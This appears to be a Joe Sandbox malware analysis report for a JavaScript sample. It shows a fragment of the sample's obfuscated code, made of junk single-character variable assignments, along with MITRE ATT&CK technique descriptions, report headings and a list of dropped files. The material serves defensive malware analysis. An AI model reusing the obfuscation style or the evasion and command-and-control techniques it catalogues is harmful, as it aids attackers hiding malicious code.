1189	pmuqkgbyu = "t";
1190	pmuqkgbyu = "k";
1191	pmuqkgbyu = "I";
1192	pmuqkgbyu = "C";
1193	pmuqkgbyu = "X";
1194	pmuqkgbyu = "p";
1195	pmuqkgbyu = "O";
1196	pmuqkgbyu = "y";
1197	pmuqkgbyu = "b";
1198	pmuqkgbyu = "T";
1199	pmuqkgbyu = "b";
1200	pmuqkgbyu = "U";
1201	pmuqkgbyu = "W";
1202	pmuqkgbyu = "T";
1203	pmuqkgbyu = "S";
1204	pmuqkgbyu = "D";
1205	pmuqkgbyu = "P";
1206	pmuqkgbyu = "7";
1207	ghzlgymo = "j";
1208	ghzlgymo = "x";
1209	ghzlgymo = "h";
1210	ghzlgymo = "U";
1211	ghzlgymo = "w";
1212	ghzlgymo = "r";
1213	ghzlgymo = "M";
1214	ghzlgymo = "o";
1215	ghzlgymo = "f";
1216	ghzlgymo = "G";
1217	ghzlgymo = "f";
1218	ghzlgymo = "5";
1219	smgvu = "m";
1220	smgvu = "U";
1221	smgvu = "G";
1222	smgvu = "E";
1223	smgvu = "w";
1224	smgvu = "w";
1225	smgvu = "n";
1226	smgvu = "u";
1227	smgvu = "J";
1228	smgvu = "n";
1229	smgvu = "L";
1230	smgvu = "w";
1231	smgvu = "K";
1232	smgvu = "4";
1233	dfjzv = "r";
1234	dfjzv = "i";
1235	dfjzv = "t";
1236	dfjzv = "b";
1237	dfjzv = "m";
1238	dfjzv = "s";
1239	dfjzv = "b";
1240	dfjzv = "S";
1241	dfjzv = "H";
1242	dfjzv = "d";
1243	dfjzv = "A";
1244	dfjzv = "L";
1245	dfjzv = "Z";
1246	dfjzv = "I";
1247	dfjzv = "g";
1248	dfjzv = "E";
1249	jsult = "T";
1250	jsult = "h";
1251	jsult = "f";
1252	jsult = "N";
1253	jsult = "K";
1254	jsult = "v";
1255	jsult = "F";
1256	jsult = "Q";
1257	yqhqzk = "l";
1258	yqhqzk = "C";
1259	yqhqzk = "g";
1260	yqhqzk = "F";
1261	yqhqzk = "f";
1262	yqhqzk = "q";
1263	yqhqzk = "W";
1264	yqhqzk = "I";
1265	yqhqzk = "f";
1266	yqhqzk = "v";
1267	yqhqzk = "X";
1268	yqhqzk = "s";
1269	yqhqzk = "l";
1270	yqhqzk = "x";
1271	yqhqzk = "y";
1272	yqhqzk = "k";
1273	yqhqzk = "Z";
1274	yqhqzk = "V";
1275	yqhqzk = "o";
1276	yqhqzk = "u";
1277	yqhqzk = "M";
1278	yqhqzk = "w";
1279	yqhqzk = "s";
1280	yqhqzk = "u";
1281	yqhqzk = "-";
1282	btehpz = "x";
1283	btehpz = "w";
1284	btehpz = "t";
1285	btehpz = "O";
1286	btehpz = "Q";
1287	btehpz = "N";
1288	btehpz = "t";
1289	btehpz = "M";
1290	btehpz = "r";
1291	btehpz = "h";
1292	btehpz = "p";
1293	btehpz = "q";
1294	eczytpfyx = "P";
1295	eczytpfyx = "C";
1296	eczytpfyx = "d";
1297	eczytpfyx = "f";
1298	eczytpfyx = "A";
1299	eczytpfyx = "z";
1300	eczytpfyx = "I";
1301	eczytpfyx = "L";
1302	eczytpfyx = "H";
1303	eczytpfyx = "O";
1304	eequgvx = "M";
1305	eequgvx = "q";
1306	eequgvx = "k";
1307	eequgvx = "A";
1308	eequgvx = "q";
1309	eequgvx = "z";
1310	eequgvx = " ";
1311	upyirxjfn = "b";
1312	mfnvpcqz ( );	mfnvpcqz() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 709291801716322197.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0c615bb7-6c71-4ef3-b7fe-e603f905f35e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8042665a-c934-4af5-ae0d-b4531c5104b0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF57f1bb.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
709291801716322197.js